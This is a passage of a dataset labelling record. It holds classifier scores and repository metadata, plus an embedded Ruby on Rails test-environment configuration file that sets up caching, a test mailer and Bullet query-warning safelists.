"creative_writing_quality": {"not_applicable": 0.999446219499665, "-2": 6.822718750618776e-05, "-1": 0.00012737196462040453, "0": 0.000256134428109349, "1": 7.562295288740216e-05, "2": 2.6423967211351545e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.161873125982382e-05, "Art & Design": 4.255688566847094e-05, "Law & Crime": 0.00027902235832923393, "Education & Careers": 3.713382312643483e-05, "Entertainment & Media": 2.516581002391618e-05, "Fashion & Beauty": 2.0978059547397163e-05, "Business, Economics & Finance": 0.00020444611480128743, "Food & Dining": 2.4048298630716006e-05, "Games & Gaming": 5.4032562810226226e-05, "Electronics & Hardware": 0.0009144455632872509, "Health, Healthcare & Wellness": 2.7630590849322066e-05, "History & Geography": 4.081755330887474e-05, "Home, Pets & Hobbies": 2.749533604297742e-05, "Industry & Production": 9.415213308706535e-05, "Language, Literature & Philosophy": 2.8078198247266742e-05, "Politics & Government": 3.094905851083503e-05, "Religion & Spirituality": 2.6366664351454954e-05, "Science, Mathematics & Engineering": 0.004594590352754223, "Relationships & Community": 1.968060942426536e-05, "Software Usage & Applications": 0.001579833410770176, "Programming & Software Engineering": 0.9911386178525559, "Sports & Fitness": 4.068107159315307e-05, "Vehicles & Transportation": 2.734140202719455e-05, "Travel & Tourism": 4.4875059455831825e-05, "Other / Uncovered Subject": 0.0005434369003011693, "Unknown / Insufficient Content": 0.00010200559923556919}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005349359347931671, "Art & Design": 0.00042046466259479555, "Law & Crime": 0.05082249956855413, "Education & Careers": 0.0003920283041080815, "Entertainment & Media": 0.0004440945316219714, "Fashion & Beauty": 0.0002527497112253911, "Business, Economics & Finance": 0.002138831785179683, "Food & Dining": 0.0002178408618683094, "Games & Gaming": 0.0003280352007660012, "Electronics & Hardware": 0.004296189825642794, "Health, Healthcare & Wellness": 0.0003062375181053986, "History & Geography": 0.0003411618474918363, "Home, Pets & Hobbies": 0.00022790370449097448, "Industry & Production": 0.00037388128803753643, "Language, Literature & Philosophy": 0.00018764609017123677, "Politics & Government": 0.0006157236345919161, "Religion & Spirituality": 0.00036358213034762044, "Science, Mathematics & Engineering": 0.032297938330031986, "Relationships & Community": 0.0001341603216171003, "Software Usage & Applications": 0.005719865428748288, "Programming & Software Engineering": 0.02678420611897582, "Sports & Fitness": 0.0002215898045918, "Vehicles & Transportation": 0.00012976314100012057, "Travel & Tourism": 0.000343592424480454, "Other / Uncovered Subject": 0.001144899120576666, "NONE": 0.8709601787103869}}, "probabilities": {"primary": {"Academic Writing": 3.124046071651278e-05, "Content Listing": 1.5046209713855539e-05, "Creative Writing": 1.5199611526937329e-05, "Customer Support Page": 7.342776048085063e-06, "Q&A Forum": 8.153374166728652e-06, "Discussion Thread": 6.173898002894225e-06, "Comment Section": 1.0943761843242583e-05, "Missing Content": 2.1362095512560412e-05, "Knowledge Article": 5.27489575191947e-05, "Legal Notices": 0.0029160331044039995, "News Article": 4.572025733660144e-06, "Organizational Announcement": 1.9216390803648794e-05, "Nonfiction Writing": 8.567379235880047e-06, "Organizational About Page": 1.265607353909112e-05, "Personal About Page": 6.278270657127771e-06, "Personal Blog": 6.148203883702188e-06, "Product Page": 5.818984879022382e-06, "Spam / Ads": 7.4627729816316715e-06, "Structured Data": 0.0006763482862627747, "Technical Writing": 0.9951452003425233, "Transcript / Interview": 1.2282829831816891e-05, "Tutorial / How-To Guide": 6.880338421020982e-05, "User Reviews": 5.2325184802595025e-06, "Other / Unknown": 0.0009371682875238641}, "secondary": {"Academic Writing": 0.0005611526357727001, "Content Listing": 0.000479493864246582, "Creative Writing": 0.0005433688214498835, "Customer Support Page": 0.00024617981056549614, "Q&A Forum": 0.00024328864199974368, "Discussion Thread": 0.00022288016887471131, "Comment Section": 0.0004716554522047533, "Missing Content": 0.00048137605904994624, "Knowledge Article": 0.001169915114866965, "Legal Notices": 0.7414689697076409, "News Article": 0.00037989588783057283, "Organizational Announcement": 0.0005860377306415239, "Nonfiction Writing": 0.00039627778559202145, "Organizational About Page": 0.0005741721651825147, "Personal About Page": 0.00024973758663079796, "Personal Blog": 0.00022442000520995784, "Product Page": 0.00032581770174997253, "Spam / Ads": 0.0003235616141324756, "Structured Data": 0.0017541716150735484, "Technical Writing": 0.0421504978080059, "Transcript / Interview": 0.00047816593336386364, "Tutorial / How-To Guide": 0.00041609715287871927, "User Reviews": 0.00017108456534440633, "NONE": 0.20608178217169204}, "tertiary": {"Academic Writing": 0.000423520303042507, "Content Listing": 0.00029731596697819064, "Creative Writing": 0.0003782948875157921, "Customer Support Page": 0.00018481827644463612, "Q&A Forum": 0.00011335704032678524, "Discussion Thread": 0.0001299247071586128, "Comment Section": 0.000299013116505411, "Missing Content": 0.00032870543901733165, "Knowledge Article": 0.002354184584152001, "Legal Notices": 0.15833460385051082, "News Article": 0.00022981787726808093, "Organizational Announcement": 0.0003065989263481203, "Nonfiction Writing": 0.00028414480478549525, "Organizational About Page": 0.00033598082784819466, "Personal About Page": 0.00014436030276596235, "Personal Blog": 0.0001666641865013333, "Product Page": 0.00015877104956079884, "Spam / Ads": 0.0002479187143159356, "Structured Data": 0.0030780979162831038, "Technical Writing": 0.009242575762003614, "Transcript / Interview": 0.0002526316900402647, "Tutorial / How-To Guide": 0.00040606681449234673, "User Reviews": 9.563442729548879e-05, "NONE": 0.8222069985288392}, "structured_records": {"false": 0.955810797608145, "true": 0.044189202391854976}, "procedural_steps": {"false": 0.9874920850167695, "true": 0.01250791498323045}, "worked_solution": {"false": 0.9965463485471134, "true": 0.0034536514528866135}, "contextual_dialogue": {"false": 0.9999873289663537, "true": 1.267103364628749e-05}, "content_quality": {"-2": 0.0120515632656053, "-1": 0.1048344420866403, "0": 0.3450967641089861, "1": 0.42513419433991534, "2": 0.11288303619885298}, "noise_severity": {"0": 0.5424220298877735, "1": 0.4370420826002903, "2": 0.016546731420709254, "3": 0.0021122578290690133, "4": 0.0018768982621579049}, "missing_content_severity": {"0": 0.9876922091565304, "1": 0.0039488379744633826, "2": 0.006047593145051298, "3": 0.0020596768909017815, "4": 0.00025168283305310017}, "factual_density": {"0": 0.003014970314137414, "1": 0.009570966554101229, "2": 0.11398814448822418, "3": 0.4281505634769881, "4": 0.4452753551665491}, "pretraining_utility": {"-2": 0.008041049117402273, "-1": 0.07518137256527004, "0": 0.37154337096374457, "1": 0.4670177167724508, "2": 0.07821649058113235}, "math_density": {"0": 0.7809984632064475, "1": 0.15874831863342137, "2": 0.03569353100852318, "3": 0.008909173831187521, "4": 0.01565051332042052}, "code_density": {"0": 0.00027979399449670897, "1": 0.0005737917016713951, "2": 0.01648681601206408, "3": 0.22817852414381792, "4": 0.7544810741479498}, "reasoning_density": {"0": 0.3803765610451085, "1": 0.12278570743187503, "2": 0.17090031941220885, "3": 0.19236364647967036, "4": 0.13357376563113726}, "education_level": {"none": 0.0010889058496726474, "0": 0.001324959458311403, "1": 0.004025019445437463, "2": 0.3939213397044874, "3": 0.5044253803381682, "4": 0.09521439520392289}, "creative_writing_quality": {"not_applicable": 0.9994462194996653, "-2": 6.822718750618779e-05, "-1": 0.0001273719646204046, "0": 0.0002561344281093491, "1": 7.562295288740219e-05, "2": 2.6423967211351555e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.161873125982382e-05, "Art & Design": 4.255688566847094e-05, "Law & Crime": 0.00027902235832923393, "Education & Careers": 3.713382312643483e-05, "Entertainment & Media": 2.516581002391618e-05, "Fashion & Beauty": 2.0978059547397163e-05, "Business, Economics & Finance": 0.00020444611480128743, "Food & Dining": 2.4048298630716006e-05, "Games & Gaming": 5.4032562810226226e-05, "Electronics & Hardware": 0.0009144455632872509, "Health, Healthcare & Wellness": 2.7630590849322066e-05, "History & Geography": 4.081755330887474e-05, "Home, Pets & Hobbies": 2.749533604297742e-05, "Industry & Production": 9.415213308706535e-05, "Language, Literature & Philosophy": 2.8078198247266742e-05, "Politics & Government": 3.094905851083503e-05, "Religion & Spirituality": 2.6366664351454954e-05, "Science, Mathematics & Engineering": 0.004594590352754223, "Relationships & Community": 1.968060942426536e-05, "Software Usage & Applications": 0.001579833410770176, "Programming & Software Engineering": 0.9911386178525559, "Sports & Fitness": 4.068107159315307e-05, "Vehicles & Transportation": 2.734140202719455e-05, "Travel & Tourism": 4.4875059455831825e-05, "Other / Uncovered Subject": 0.0005434369003011693, "Unknown / Insufficient Content": 0.00010200559923556919}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005349359347931671, "Art & Design": 0.00042046466259479555, "Law & Crime": 0.05082249956855413, "Education & Careers": 0.0003920283041080815, "Entertainment & Media": 0.0004440945316219714, "Fashion & Beauty": 0.0002527497112253911, "Business, Economics & Finance": 0.002138831785179683, "Food & Dining": 0.0002178408618683094, "Games & Gaming": 0.0003280352007660012, "Electronics & Hardware": 0.004296189825642794, "Health, Healthcare & Wellness": 0.0003062375181053986, "History & Geography": 0.0003411618474918363, "Home, Pets & Hobbies": 0.00022790370449097448, "Industry & Production": 0.00037388128803753643, "Language, Literature & Philosophy": 0.00018764609017123677, "Politics & Government": 0.0006157236345919161, "Religion & Spirituality": 0.00036358213034762044, "Science, Mathematics & Engineering": 0.032297938330031986, "Relationships & Community": 0.0001341603216171003, "Software Usage & Applications": 0.005719865428748288, "Programming & Software Engineering": 0.02678420611897582, "Sports & Fitness": 0.0002215898045918, "Vehicles & Transportation": 0.00012976314100012057, "Travel & Tourism": 0.000343592424480454, "Other / Uncovered Subject": 0.001144899120576666, "NONE": 0.8709601787103869}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 13869, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 13869, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:14.504047+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "04a73c68-e3da-4453-a5e7-3fa99c683e00", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "2bfc5c07dda9b333727586c246d75d72eaac9fdad9d400e79446ded85210be7f", "source_metadata": {"uuid": "04a73c68-e3da-4453-a5e7-3fa99c683e00", "repo_name": "blackberry/OpenNebula-Carina", "relative_path": "bin/oneenvd-gs", "category": "WEB", "algo_rel_score": 0.7752580046653748, "quality_score": 3.7839651107788086, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 24, "repo_created_at": "2012-09-21T06:22:12.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 10, "forks": 3, "issues": 3, "pull_requests": 0}, "file_meta": {"content_id": "1c6a045fdb80abbd8a4d6e79d47ac2426975afbe", "size_bytes": 22355, "file_timestamp": 1364481088, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "6c9cadd253fa39b85ebfc4bd702f9d3146e0beaa"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 24, "repo_created_at": "2012-09-21T06:22:12.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 10, "forks": 3, "issues": 3, "pull_requests": 0}, "file_meta": {"content_id": "1c6a045fdb80abbd8a4d6e79d47ac2426975afbe", "size_bytes": 22355, "file_timestamp": 1364481088, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "6c9cadd253fa39b85ebfc4bd702f9d3146e0beaa", "url": "https://github.com/blackberry/OpenNebula-Carina/blob/6c9cadd253fa39b85ebfc4bd702f9d3146e0beaa/bin/oneenvd-gs"}, "gpt4o_tokens": 5144, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.5219626981197704, "noise_severity": 0.4839799119775475, "missing_content_severity": 0.023229786269483722, "factual_density": 3.30310036662771, "pretraining_utility": 0.532187227134641, "math_density": 0.3194649554257124, "code_density": 3.736007292749053, "reasoning_density": 1.5759723482198529, "education_level": 2.6889294116503115, "creative_writing_quality": -0.2444207628128264}, "score_applicability": {"education_level": 0.9989110941503273, "creative_writing_quality": 0.0005537805003346953}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/jaymehta9/StackIt/blob/b6908b7770600dd072b8d1b1e11e4395abef0f84/config/environments/test.rb", "id": "ruby-0-fb6ebaff0d4b54ffe51e91ac436c5b80", "text": "require \"active_support/core_ext/integer/time\"\n\n# The test environment is used exclusively to run your application's\n# test suite. You never need to work with it otherwise. Remember that\n# your test database is \"scratch space\" for the test suite and is wiped\n# and recreated between test runs. Don't rely on the data there!\n\n# rubocop:disable Metrics/BlockLength\nRails.application.configure do\n config.app_domain = ENV.fetch(\"APP_DOMAIN\", \"test.host\")\n\n # Settings specified here will take precedence over those in config/application.rb.\n\n # https://guides.rubyonrails.org/configuring.html#config-cache-classes\n config.cache_classes = false\n\n # See https://github.com/rails/rails/issues/40613#issuecomment-727283155\n config.action_view.cache_template_loading = false\n\n # Do not eager load code on boot. This avoids loading your whole application\n # just for the purpose of running a single test. If you are using a tool that\n # preloads Rails for running tests, you may have to set it to true.\n config.eager_load = false\n\n # Configure public file server for tests with Cache-Control for performance.\n config.public_file_server.enabled = true\n config.public_file_server.headers = {\n \"Cache-Control\" => \"public, max-age=#{1.hour.to_i}\"\n }\n\n # Show full error reports and disable caching.\n config.consider_all_requests_local = true\n config.action_controller.perform_caching = false\n config.cache_store = :null_store\n\n # Raise exceptions instead of rendering exception templates.\n config.action_dispatch.show_exceptions = false\n\n # Disable request forgery protection in test environment.\n config.action_controller.allow_forgery_protection = false\n\n config.action_mailer.perform_caching = false\n\n # Tell Action Mailer not to deliver emails to the real world.\n # The :test delivery method accumulates sent emails in the\n # ActionMailer::Base.deliveries array.\n config.action_mailer.delivery_method = :test\n\n # Additional setting to make test work. This is possibly useless and can be deleted.\n config.action_mailer.default_url_options = { host: config.app_domain }\n\n # Randomize the order test cases are executed.\n config.active_support.test_order = :random\n\n # Print deprecation notices to the stderr.\n config.active_support.deprecation = :stderr\n\n # Raise exceptions for disallowed deprecations.\n config.active_support.disallowed_deprecation = :raise\n\n # Tell Active Support which deprecation messages to disallow.\n config.active_support.disallowed_deprecation_warnings = []\n\n # Debug is the default log_level, but can be changed per environment.\n config.log_level = :debug\n\n # Raises error for missing translations.\n config.i18n.raise_on_missing_translations = true\n\n # Annotate rendered view with file names\n # config.action_view.annotate_rendered_view_with_filenames = true\n\n # enable Bullet in testing mode only if requested\n config.after_initialize do\n Bullet.enable = true\n Bullet.raise = false\n\n Bullet.add_safelist(type: :unused_eager_loading, class_name: \"ApiSecret\", association: :user)\n # acts-as-taggable-on has super weird eager loading problems: \n Bullet.add_safelist(type: :n_plus_one_query, class_name: \"ActsAsTaggableOn::Tagging\", association: :tag)\n # Suppress incorrect warnings from Bullet due to included columns: https://github.com/flyerhzm/bullet/issues/147\n Bullet.add_safelist(type: :unused_eager_loading, class_name: \"Article\", association: :top_comments)\n Bullet.add_safelist(type: :unused_eager_loading, class_name: \"Article\", association: :collection)\n Bullet.add_safelist(type: :unused_eager_loading, class_name: \"Comment\", association: :user)\n # TODO: We have not yet resolved all user - profile preloads related to profile generalization\n Bullet.add_safelist(type: :n_plus_one_query, class_name: \"User\", association: :profile)\n Bullet.add_safelist(type: :n_plus_one_query, class_name: \"Profile\", association: :user)\n Bullet.add_safelist(type: :n_plus_one_query, class_name: \"User\", association: :setting)\n Bullet.add_safelist(type: :n_plus_one_query, class_name: \"User\", association: :notification_setting)\n # @mstruve: These occur during setting updates, not sure how since we are only dealing with single setting records\n Bullet.add_safelist(type: :n_plus_one_query, class_name: \"Users::Setting\", association: :user)\n Bullet.add_safelist(type: :n_plus_one_query, class_name: \"Users::NotificationSetting\", association: :user)\n end\nend\n# rubocop:enable Metrics/BlockLength\nRails.application.routes.default_url_options = { host: Rails.application.config.app_domain }\n", "text_preview": "require \"active_support/core_ext/integer/time\" # The test environment is used exclusively to run your application's # test suite. You never need to work with it otherwise. Remember that # your test database is \"scratch space\" for the test s", "input_sha256": "a580082008f8ab6a8713f4000ff0d2ac5ea8ce6e2d8a3630f30508956c31a11b", "text_sha256": "fb6ebaff0d4b54ffe51e91ac436c5b805295a9769e21f1c2c5aa85431604f065", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16010, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.1549747021429448, "noise_severity": 0.0818827089365662, "missing_content_severity": 0.011820828577293468, "factual_density": 3.5216399692849376, "pretraining_utility": 0.32258644463814323, "math_density": 0.014322855357562217, "code_density": 3.716169572597348, "reasoning_density": 0.25127637964407884, "education_level": 2.554206682038302, "creative_writing_quality": -0.17046347072274368}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.008096019006495037, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9937554895028015, "secondary": 0.9706382796182877, "tertiary": 0.9621902597854234, "structured_records": 0.3168180537113732, "procedural_steps": 0.003353147271587229, "worked_solution": 0.00033995113710057884, "contextual_dialogue": 5.549672399005334e-06, "content_quality": 0.5752915304554687, "noise_severity": 0.9317644092195282, "missing_content_severity": 0.9901493095189221, "factual_density": 0.601366641070781, "pretraining_utility": 0.4677669977225788, "math_density": 0.9880642872020314, "code_density": 0.7634746438311232, "reasoning_density": 0.7906030169632676, "education_level": 0.3959958681673654, "creative_writing_quality": 0.9994470842077867, "primary_topic": 0.9884936556085961, "secondary_topic": 0.9411819170525425}, "probability_margin": {"primary": 0.9919089378467275, "secondary": 0.9631950443082891, "tertiary": 0.9495607401005893, "education_level": 0.07628951253134647, "creative_writing_quality": 0.9992868060705733, "primary_topic": 0.979027455143249, "secondary_topic": 0.908464317948881}, "raw_probabilities": {"primary": {"Academic Writing": 4.6765561506261826e-05, "Content Listing": 2.4325737104354162e-05, "Creative Writing": 1.5594936352203683e-05, "Customer Support Page": 3.0198723482065067e-05, "Q&A Forum": 1.4672794075000502e-05, "Discussion Thread": 1.2477352796169744e-05, "Comment Section": 2.0881051796689922e-05, "Missing Content": 2.8870231792521852e-05, "Knowledge Article": 0.0004064025536483889, "Legal Notices": 6.270083339695224e-05, "News Article": 6.557789329347487e-06, "Organizational Announcement": 1.9603758208169326e-05, "Nonfiction Writing": 1.5909959487764505e-05, "Organizational About Page": 1.69797694125794e-05, "Personal About Page": 2.12061792391057e-05, "Personal Blog": 1.2306522245121823e-05, "Product Page": 1.0699936011523664e-05, "Spam / Ads": 1.60482742582e-05, "Structured Data": 0.002106739593457194, "Technical Writing": 0.9940156774401847, "Transcript / Interview": 2.1424723637330163e-05, "Tutorial / How-To Guide": 0.0011048863095716342, "User Reviews": 1.050105417302271e-05, "Other / Unknown": 0.0019585689148335795}, "secondary": {"Academic Writing": 0.00017602965145885026, "Content Listing": 0.00013484503535012414, "Creative Writing": 0.00011984510436873749, "Customer Support Page": 0.00018077114429482585, "Q&A Forum": 6.629391155846516e-05, "Discussion Thread": 5.315300479914137e-05, "Comment Section": 0.00016572885653251342, "Missing Content": 0.00022800272809370785, "Knowledge Article": 0.003159686464044657, "Legal Notices": 0.00016602673461204673, "News Article": 7.85253876833244e-05, "Organizational Announcement": 9.648393658000546e-05, "Nonfiction Writing": 0.00011067013294214711, "Organizational About Page": 9.360685083766802e-05, "Personal About Page": 8.671211606032673e-05, "Personal Blog": 8.352664800673426e-05, "Product Page": 4.787910137077134e-05, "Spam / Ads": 0.00011861786471110614, "Structured Data": 0.006549514193719058, "Technical Writing": 0.008666640325903339, "Transcript / Interview": 9.750393155823923e-05, "Tutorial / How-To Guide": 0.0076171432002885035, "User Reviews": 4.110904103328551e-05, "NONE": 0.9718616846341924}, "tertiary": {"Academic Writing": 0.0001375986489267072, "Content Listing": 0.00012361824919604215, "Creative Writing": 0.00010491879845456646, "Customer Support Page": 0.00021640803989028475, "Q&A Forum": 6.071857801496892e-05, "Discussion Thread": 6.352974593403796e-05, "Comment Section": 0.00017758798076244163, "Missing Content": 0.0003239792944011639, "Knowledge Article": 0.003178673910785262, "Legal Notices": 0.00028591072381056986, "News Article": 6.759298593075209e-05, "Organizational Announcement": 0.0001124590772420458, "Nonfiction Writing": 0.00012251320998901623, "Organizational About Page": 0.00010287609226840456, "Personal About Page": 7.247475655428887e-05, "Personal Blog": 8.508081020083469e-05, "Product Page": 4.889676724699477e-05, "Spam / Ads": 0.00010729426084100424, "Structured Data": 0.005505150924957574, "Technical Writing": 0.011020118720918968, "Transcript / Interview": 7.218931270390666e-05, "Tutorial / How-To Guide": 0.014204925527108097, "User Reviews": 3.981795616470299e-05, "NONE": 0.9637656656276974}, "structured_records": {"false": 0.6831819462886268, "true": 0.3168180537113732}, "procedural_steps": {"false": 0.9966468527284128, "true": 0.003353147271587229}, "worked_solution": {"false": 0.9996600488628994, "true": 0.00033995113710057884}, "contextual_dialogue": {"false": 0.999994450327601, "true": 5.549672399005334e-06}, "content_quality": {"-2": 0.002931844169946795, "-1": 0.007421496481927797, "0": 0.15369920518155042, "1": 0.5036350213683839, "2": 0.33231243279819117}, "noise_severity": {"0": 0.9250590749195313, "1": 0.07014652605979321, "2": 0.003286743678451859, "3": 0.0008679258490258018, "4": 0.0006397294931979683}, "missing_content_severity": {"0": 0.9895680842453403, "1": 0.009476832565536027, "2": 0.0006356624900017156, "3": 0.00020501176473438541, "4": 0.00011440893438771368}, "factual_density": {"0": 0.001955254679009663, "1": 0.0050460885217283365, "2": 0.062299529038522844, "3": 0.3308016883567934, "4": 0.5998974394039458}, "pretraining_utility": {"-2": 0.010491018079448678, "-1": 0.13706454288848371, "0": 0.41958391355804964, "1": 0.38508802726251146, "2": 0.04777249821150641}, "math_density": {"0": 0.9877317346806695, "1": 0.011231611848173874, "2": 0.00041925441209853974, "3": 0.00021686155104160094, "4": 0.0004005375080166159}, "code_density": {"0": 0.00047602083511157696, "1": 0.0010700417915611262, "2": 0.028429397518515514, "3": 0.22185742365049144, "4": 0.7481671162043204}, "reasoning_density": {"0": 0.7711416284296014, "1": 0.2105973485009578, "2": 0.015234706522869759, "3": 0.001895648088903535, "4": 0.0011306684576677473}, "education_level": {"none": 0.0012155977591262479, "0": 0.001894251395680191, "1": 0.007586217124812226, "2": 0.49666322347280445, "3": 0.420373710941458, "4": 0.0722669993061189}, "creative_writing_quality": {"not_applicable": 0.9995392368398223, "-2": 4.4797622023878014e-05, "-1": 8.73767465253989e-05, "0": 0.00025243076924898146, "1": 5.388734165074853e-05, "2": 2.2270680728670056e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.066741003547182e-05, "Art & Design": 4.6388885585544516e-05, "Law & Crime": 3.046958260851303e-05, "Education & Careers": 3.547534827877044e-05, "Entertainment & Media": 2.735266514047167e-05, "Fashion & Beauty": 2.2325318535500667e-05, "Business, Economics & Finance": 4.972986418098274e-05, "Food & Dining": 2.358673568187966e-05, "Games & Gaming": 7.814445122105442e-05, "Electronics & Hardware": 7.37698396634585e-05, "Health, Healthcare & Wellness": 2.135988810408796e-05, "History & Geography": 2.8344519776928745e-05, "Home, Pets & Hobbies": 2.393575761361358e-05, "Industry & Production": 2.7491845256053025e-05, "Language, Literature & Philosophy": 4.135739879121243e-05, "Politics & Government": 1.44840899401719e-05, "Religion & Spirituality": 2.3563960198170474e-05, "Science, Mathematics & Engineering": 0.00024340113491897597, "Relationships & Community": 2.1288771549553e-05, "Software Usage & Applications": 0.00990875217270896, "Programming & Software Engineering": 0.9889362073159579, "Sports & Fitness": 4.086530003915145e-05, "Vehicles & Transportation": 1.7659736369688677e-05, "Travel & Tourism": 3.266015743196626e-05, "Other / Uncovered Subject": 0.00014395077137781048, "Unknown / Insufficient Content": 5.676707903399254e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.000273913199628993, "Art & Design": 0.00025043126143791555, "Law & Crime": 0.00027612801186340045, "Education & Careers": 0.0001705724029597464, "Entertainment & Media": 0.00021051915596657328, "Fashion & Beauty": 9.299065595280922e-05, "Business, Economics & Finance": 0.000319803139838609, "Food & Dining": 0.00010111213909015768, "Games & Gaming": 0.0002905719831424354, "Electronics & Hardware": 0.0002736313534429098, "Health, Healthcare & Wellness": 0.00011133345946572714, "History & Geography": 0.00011624563955507267, "Home, Pets & Hobbies": 9.188730005626935e-05, "Industry & Production": 9.699172543378191e-05, "Language, Literature & Philosophy": 0.00016680059476879754, "Politics & Government": 0.00010950333195588777, "Religion & Spirituality": 0.00013033037107961043, "Science, Mathematics & Engineering": 0.000536448956102717, "Relationships & Community": 0.0001035975908182135, "Software Usage & Applications": 0.03497983306317906, "Programming & Software Engineering": 0.017226554046338046, "Sports & Fitness": 0.00011908843835322423, "Vehicles & Transportation": 5.908982980689778e-05, "Travel & Tourism": 0.00015349108236307742, "Other / Uncovered Subject": 0.00029498025534002416, "NONE": 0.9434441510120601}}, "probabilities": {"primary": {"Academic Writing": 4.676556150626183e-05, "Content Listing": 2.4325737104354165e-05, "Creative Writing": 1.5594936352203686e-05, "Customer Support Page": 3.019872348206507e-05, "Q&A Forum": 1.4672794075000503e-05, "Discussion Thread": 1.2477352796169746e-05, "Comment Section": 2.0881051796689925e-05, "Missing Content": 2.8870231792521856e-05, "Knowledge Article": 0.00040640255364838895, "Legal Notices": 6.270083339695226e-05, "News Article": 6.5577893293474875e-06, "Organizational Announcement": 1.960375820816933e-05, "Nonfiction Writing": 1.590995948776451e-05, "Organizational About Page": 1.6979769412579403e-05, "Personal About Page": 2.1206179239105705e-05, "Personal Blog": 1.2306522245121824e-05, "Product Page": 1.0699936011523666e-05, "Spam / Ads": 1.6048274258200002e-05, "Structured Data": 0.0021067395934571942, "Technical Writing": 0.9940156774401848, "Transcript / Interview": 2.1424723637330166e-05, "Tutorial / How-To Guide": 0.0011048863095716344, "User Reviews": 1.0501054173022711e-05, "Other / Unknown": 0.00195856891483358}, "secondary": {"Academic Writing": 0.00017602965145885026, "Content Listing": 0.00013484503535012414, 